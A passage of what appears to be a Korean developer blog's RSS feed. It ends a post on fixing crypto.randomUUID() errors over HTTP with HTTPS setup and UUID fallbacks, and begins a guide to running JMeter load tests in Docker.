&lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/ssl-redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; dev.example.com
    &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;secret&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;내부 개발서버라면 자체 서명 인증서(self-signed)나 mkcert 같은 도구로 간단하게 적용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;방법 2. 코드 레벨 폴백 — 간단하지만 실용적&lt;/h3&gt;
&lt;p&gt;UUID 형식이 반드시 필요하지 않은 경우, 간단한 폴백으로 해결할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;generateId&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
  globalThis&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;crypto&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;randomUUID&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt;
  &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;Date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS / HTTP 모두 동작&lt;/li&gt;
&lt;li&gt;고유성은 보장되지만 RFC 4122 UUID 형식은 아님&lt;/li&gt;
&lt;li&gt;임시 ID, 클라이언트 사이드 키 등에 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;방법 3. crypto.getRandomValues() 사용 — UUID 형식이 필요할 때&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;randomUUID()&lt;/code&gt;는 Secure Context 전용이지만, &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;getRandomValues()&lt;/code&gt;는 HTTP에서도 동작합니다.&lt;/strong&gt; RFC 4122 v4 형식의 UUID가 필요하다면 이 방법을 씁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; generateUUIDv4 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;globalThis&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;crypto&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;randomUUID&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; globalThis&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;crypto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;randomUUID&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; bytes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  globalThis&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;crypto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRandomValues&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  bytes&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x0f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// version 4&lt;/span&gt;
  bytes&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x3f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x80&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// variant&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;bytes&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;padStart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;padStart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;어떤 방법을 써야 할까?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;추천 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;개발서버/스테이징 환경 전체에 적용&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;방법 1&lt;/strong&gt; (HTTPS 적용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빠르게 에러만 해결하고 싶을 때&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;방법 2&lt;/strong&gt; (폴백)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UUID v4 형식이 반드시 필요한 로직&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;방법 3&lt;/strong&gt; (getRandomValues)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기적으로는?&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;방법 1 + 방법 2 또는 3&lt;/strong&gt; 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;Secure Context 확인하는 방법&lt;/h2&gt;
&lt;p&gt;현재 환경이 Secure Context인지 브라우저 콘솔에서 바로 확인할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isSecureContext&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true 또는 false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;개발 중 &quot;이 API가 왜 안 되지?&quot; 싶을 때, 가장 먼저 확인해볼 값입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. localhost는 HTTP인데 왜 Secure Context인가요?&lt;/h3&gt;
&lt;p&gt;브라우저가 로컬 개발 편의를 위해 &lt;code class=&quot;language-text&quot;&gt;localhost&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;127.0.0.1&lt;/code&gt;을 &lt;strong&gt;명시적으로 예외 처리&lt;/strong&gt;하고 있습니다. W3C Secure Contexts 스펙에 정의된 동작이며, 모든 주요 브라우저(Chrome, Firefox, Safari, Edge)에서 동일하게 적용됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 자체 서명 인증서(self-signed)로도 Secure Context가 되나요?&lt;/h3&gt;
&lt;p&gt;네, HTTPS로 서비스되면 인증서 종류와 관계없이 Secure Context입니다. 다만 브라우저에서 &quot;안전하지 않음&quot; 경고가 뜹니다. 내부 개발용이라면 &lt;code class=&quot;language-text&quot;&gt;mkcert&lt;/code&gt;로 로컬 CA 인증서를 만들면 경고 없이 사용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q. crypto.getRandomValues()는 왜 HTTP에서도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;getRandomValues()&lt;/code&gt;는 Secure Context 이전부터 존재하던 API이고, 난수 생성 자체는 보안 위협이 아니기 때문입니다. 반면 &lt;code class=&quot;language-text&quot;&gt;randomUUID()&lt;/code&gt;는 나중에 추가된 API로, 처음부터 Secure Context 전용으로 설계되었습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;정리하면 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;개발서버  →  HTTPS 적용 (Ingress TLS, mkcert 등)
코드 내   →  폴백 패턴 유지 (방어적 코딩)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;HTTP 환경에서 발생하는 Secure Context 오류는 하나씩 발견되기보다 &lt;strong&gt;개발서버에 HTTPS를 적용하는 것이 가장 확실하고 포괄적인 해결책&lt;/strong&gt;입니다. 한 번 적용해두면 &lt;code class=&quot;language-text&quot;&gt;crypto.randomUUID()&lt;/code&gt; 뿐 아니라 클립보드, 위치 정보, Service Worker 등에서도 같은 문제가 재발하지 않습니다.&lt;/p&gt;
&lt;p&gt;여러분도 혹시 &quot;로컬에서는 되는데 서버에서는 안 되는&quot; 경험이 있으신가요? 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[JMeter + Docker로 성능 테스트하기 — 설치 없이 바로 실행하는 부하 테스트 가이드]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "API 배포 전에 성능 테스트 좀 돌려봐야 하는데, JMeter 설치부터 귀찮습니다." 솔직히 저도 그랬습니다. JMeter는 강력한 도구지만, Java 설치 → JMeter…]]></description><link>https://blog.javapark.kr/jmeter-docker-performance-testing/</link><guid isPermaLink="false">https://blog.javapark.kr/jmeter-docker-performance-testing/</guid><pubDate>Mon, 06 Apr 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;API 배포 전에 성능 테스트 좀 돌려봐야 하는데, JMeter 설치부터 귀찮습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. JMeter는 강력한 도구지만, Java 설치 → JMeter 다운로드 → 환경변수 설정 → 플러그인 설치... 시작하기까지가 꽤 번거롭습니다. 팀원마다 환경이 달라서 &quot;제 PC에서는 되는데요?&quot;라는 말도 자주 나오고요.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Docker 하나면 이 문제가 해결됩니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;docker run&lt;/code&gt; 한 줄이면 JMeter가 바로 실행되고, Docker Compose로 분산 테스트까지 가능합니다. 오늘은 Docker 기반 JMeter 성능 테스트를 처음부터 끝까지 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 JMeter + Docker인가?&lt;/h2&gt;
&lt;p&gt;먼저 왜 Docker로 JMeter를 실행해야 하는지 정리하겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기존 방식&lt;/th&gt;
&lt;th&gt;Docker 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Java + JMeter 직접 설치&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;docker run&lt;/code&gt; 한 줄로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;팀원마다 버전·환경 다름&lt;/td&gt;
&lt;td&gt;동일한 이미지로 환경 통일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;분산 테스트 구성 복잡&lt;/td&gt;
&lt;td&gt;Docker Compose로 간단 스케일링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CI/CD 연동 시 설치 스크립트 필요&lt;/td&gt;
&lt;td&gt;이미지 pull만 하면 끝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;테스트 후 정리 필요&lt;/td&gt;
&lt;td&gt;컨테이너 종료 시 자동 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 &lt;strong&gt;재현 가능한 환경&lt;/strong&gt;입니다. 누가, 어디서, 언제 실행해도 동일한 조건에서 테스트할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: Docker로 JMeter 바로 실행하기&lt;/h2&gt;
&lt;h3&gt;Docker 이미지 선택&lt;/h3&gt;
&lt;p&gt;2026년 현재 주요 JMeter Docker 이미지를 비교하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;이미지&lt;/th&gt;
&lt;th&gt;JMeter 버전&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;justb4/jmeter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5.5&lt;/td&gt;
&lt;td&gt;가장 인기 있지만 2022년 이후 업데이트 안 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;qainsights/jmeter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5.6.3&lt;/td&gt;
&lt;td&gt;최신 버전, multi-arch, 비root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스텀 빌드&lt;/td&gt;
&lt;td&gt;원하는 버전&lt;/td&gt;
&lt;td&gt;플러그인 포함 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;추천:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;qainsights/jmeter:5.6.3&lt;/code&gt; 또는 직접 Dockerfile 작성&lt;/p&gt;
&lt;h3&gt;가장 간단한 실행&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 테스트 계획 실행 + HTML 리포트 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;/tests:/jmeter/tests &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;/results:/jmeter/results &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  qainsights/jmeter:5.6.3 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; /jmeter/tests/test-plan.jmx &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; /jmeter/results/results.jtl &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; /jmeter/results/html-report&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 옵션의 의미:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;옵션&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;--rm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;테스트 끝나면 컨테이너 자동 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;-v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;호스트의 테스트 파일과 결과 디렉토리 마운트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;-n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Non-GUI 모드&lt;/strong&gt; (Docker에서는 필수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;테스트 계획 파일 (.jmx)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;-l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;결과 로그 파일 (.jtl)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;-e -o&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTML 리포트 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;주의:&lt;/strong&gt; JMeter GUI는 Docker에서 사용하지 않습니다. GUI는 로컬에서 테스트 계획(.jmx)을 만들 때만 사용하고, 실행은 항상 Non-GUI 모드(&lt;code class=&quot;language-text&quot;&gt;-n&lt;/code&gt;)로 합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;폴더 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-project/
├── tests/
│   ├── test-plan.jmx          # JMeter 테스트 계획
│   ├── test-data.csv          # 테스트 데이터 (선택)
│   └── user.properties        # 추가 설정 (선택)
├── results/                   # 테스트 결과 (자동 생성)
│   ├── results.jtl
│   └── html-report/
│       └── index.html         # 브라우저로 열어서 확인
└── docker-compose.yml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: 테스트 계획 (.jmx) 작성하기&lt;/h2&gt;
&lt;p&gt;JMeter GUI에서 만드는 게 가장 편하지만, 구조를 이해하면 수정이 쉬워집니다. REST API 테스트 기본 구조를 정리하겠습니다.&lt;/p&gt;
&lt;h3&gt;핵심 컴포넌트&lt;/h3&gt;
